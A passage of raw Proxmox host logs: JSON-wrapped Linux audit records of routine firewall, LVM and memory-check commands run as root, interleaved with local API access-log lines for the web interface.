a2=637ee7240ef0 a3=8 items=2 ppid=65394 pid=65395 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781964405625,"@rawstring":"node=pve type=EXECVE msg=audit(1781964405.625:60876): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965212271,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:11 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 913"} {"@timestamp":1781964436027,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964436.027:61004): arch=c000003e syscall=59 success=no exit=-2 a0=7fff450d2120 a1=5997e8adb310 a2=5997e8ad4680 a3=5 items=1 ppid=58565 pid=58566 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965111823,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965111.823:64213): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61692 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015501,"@rawstring":"node=pve type=EXECVE msg=audit(1781966015.501:68078): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965755231,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965755.231:66978): arch=c000003e syscall=59 success=yes exit=0 a0=5e23a73e0ac8 a1=7fff717176c0 a2=5e23c8034680 a3=5e23a73c424e items=2 ppid=64327 pid=64329 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966021041,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966021.041:68099): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253d30 a1=637ee7256c00 a2=637ee7257220 a3=8 items=2 ppid=846 pid=65393 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781964405618,"@rawstring":"node=pve type=EXECVE msg=audit(1781964405.618:60875): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965212271,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:20:11 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 499"} {"@timestamp":1781964434352,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964434.352:60996): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58559 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965111822,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965111.822:64212): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61692 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015494,"@rawstring":"node=pve type=EXECVE msg=audit(1781966015.494:68077): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965755230,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965755.230:66977): arch=c000003e syscall=59 success=yes exit=0 a0=7fff71717680 a1=5e23c80561c0 a2=5e23c8034680 a3=5 items=2 ppid=64327 pid=64328 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966020117,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966020.117:68098): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65392 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964405613,"@rawstring":"node=pve type=EXECVE msg=audit(1781964405.613:60874): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965211167,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:10 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 914"} {"@timestamp":1781964434352,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964434.352:60995): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58559 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965111813,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965111.813:64210): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954c70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61691 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015485,"@rawstring":"node=pve type=EXECVE msg=audit(1781966015.485:68076): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965755226,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965755.226:66975): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64327 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966020106,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966020.106:68095): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65391 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964405608,"@rawstring":"node=pve type=EXECVE msg=audit(1781964405.608:60873): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965211167,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:10 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 505"} {"@timestamp":1781964434345,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964434.345:60993): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58558 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965111813,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965111.813:64209): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954c70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61691 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015477,"@rawstring":"node=pve type=EXECVE msg=audit(1781966015.477:68075): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965755219,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965755.219:66974): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64326 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015582,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966015.582:68092): arch=c000003e syscall=59 success=yes exit=0 a0=583df9054d30 a1=583df9060b30 a2=583df902e680 a3=5 items=2 ppid=65384 pid=65390 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964405601,"@rawstring":"node=pve type=EXECVE msg=audit(1781964405.601:60872): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965211167,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:09 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964434345,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964434.345:60992): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58558 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965106805,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965106.805:64207): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61690 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015472,"@rawstring":"node=pve type=EXECVE msg=audit(1781966015.472:68074): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965755212,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965755.212:66973): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64325 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015579,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966015.579:68091): arch=c000003e syscall=59 success=yes exit=0 a0=583dd0a81ac8 a1=7ffdb3d0a390 a2=583df902e680 a3=583dd0a6524e items=2 ppid=65384 pid=65386 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964404883,"@rawstring":"node=pve type=EXECVE msg=audit(1781964404.883:60871): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965210180,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:20:09 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1117"} {"@timestamp":1781964429334,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964429.334:60988): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58553 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965106805,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965106.805:64206): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61690 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015469,"@rawstring":"node=pve type=EXECVE msg=audit(1781966015.469:68073): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965755204,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965755.204:66972): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64324 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015578,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966015.578:68090): arch=c000003e syscall=59 success=yes exit=0 a0=7ffdb3d0a350 a1=583df90503d0 a2=583df902e680 a3=5 items=2 ppid=65384 pid=65385 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964404842,"@rawstring":"node=pve type=EXECVE msg=audit(1781964404.842:60870): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965210180,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:09 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 919"} {"@timestamp":1781964429334,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964429.334:60987): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58553 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965106798,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965106.798:64204): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61689 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015468,"@rawstring":"node=pve type=EXECVE msg=audit(1781966015.468:68072): argc=1 a0=\"date\""} {"@timestamp":1781965755197,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965755.197:66971): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64323 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015572,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966015.572:68088): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65384 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964404242,"@rawstring":"node=pve type=EXECVE msg=audit(1781964404.242:60869): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965209148,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:08 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1114"} {"@timestamp":1781964429321,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964429.321:60985): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58552 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965106798,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965106.798:64203): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61689 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015464,"@rawstring":"node=pve type=EXECVE msg=audit(1781966015.464:68070): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965755193,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965755.193:66970): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=61a1b8ea8740 items=0 ppid=1156 pid=64322 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966015564,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966015.564:68087): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65383 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964404234,"@rawstring":"node=pve type=EXECVE msg=audit(1781964404.234:60866): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965209148,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:20:07 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 496"} {"@timestamp":1781964429321,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964429.321:60984): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58552 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965105278,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965105.278:64199): arch=c000003e syscall=59 success=no exit=-2 a0=7fffa8b4ab00 a1=55c92776b310 a2=55c927764680 a3=5 items=1 ppid=61682 pid=61683 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015457,"@rawstring":"node=pve type=EXECVE msg=audit(1781966015.457:68069): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965755190,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965755.190:66969): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc12f980 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64322 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015556,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966015.556:68086): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65382 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964399689,"@rawstring":"node=pve type=EXECVE msg=audit(1781964399.689:60863): argc=2 a0=\"awk\" a1=7B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781965209148,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:07 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 902"} {"@timestamp":1781964425979,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964425.979:60980): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd496b5d40 a1=59d39a355310 a2=59d39a34e680 a3=5 items=1 ppid=58545 pid=58546 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965105192,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965105.192:64181): arch=c000003e syscall=59 success=no exit=-2 a0=7ffded4cf2e0 a1=59043d98b1c0 a2=59043d969680 a3=5 items=1 ppid=61663 pid=61664 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015449,"@rawstring":"node=pve type=EXECVE msg=audit(1781966015.449:68068): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965755183,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965755.183:66968): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc148a10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64321 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015545,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966015.545:68085): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65381 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964399688,"@rawstring":"node=pve type=EXECVE msg=audit(1781964399.688:60862): argc=5 a0=\"ps\" a1=\"-C\" a2=\"kvm\" a3=\"-o\" a4=\"pss\""} {"@timestamp":1781965208033,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:07 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 498"} {"@timestamp":1781964425896,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964425.896:60962): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc3fd53d20 a1=57ebf0022310 a2=57ebf001b680 a3=5 items=1 ppid=58526 pid=58527 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965101787,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965101.787:64171): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61653 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015443,"@rawstring":"node=pve type=EXECVE msg=audit(1781966015.443:68067): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965755177,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965755.177:66967): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13b4f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64320 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015536,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966015.536:68084): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65380 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964399687,"@rawstring":"node=pve type=EXECVE msg=audit(1781964399.687:60861): argc=3 a0=\"awk\" a1=2F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D a2=\"/proc/meminfo\""} {"@timestamp":1781965208033,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:06 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964424311,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964424.311:60954): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58520 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965101787,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965101.787:64170): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61653 auid=4294967295 uid=0 gid=0 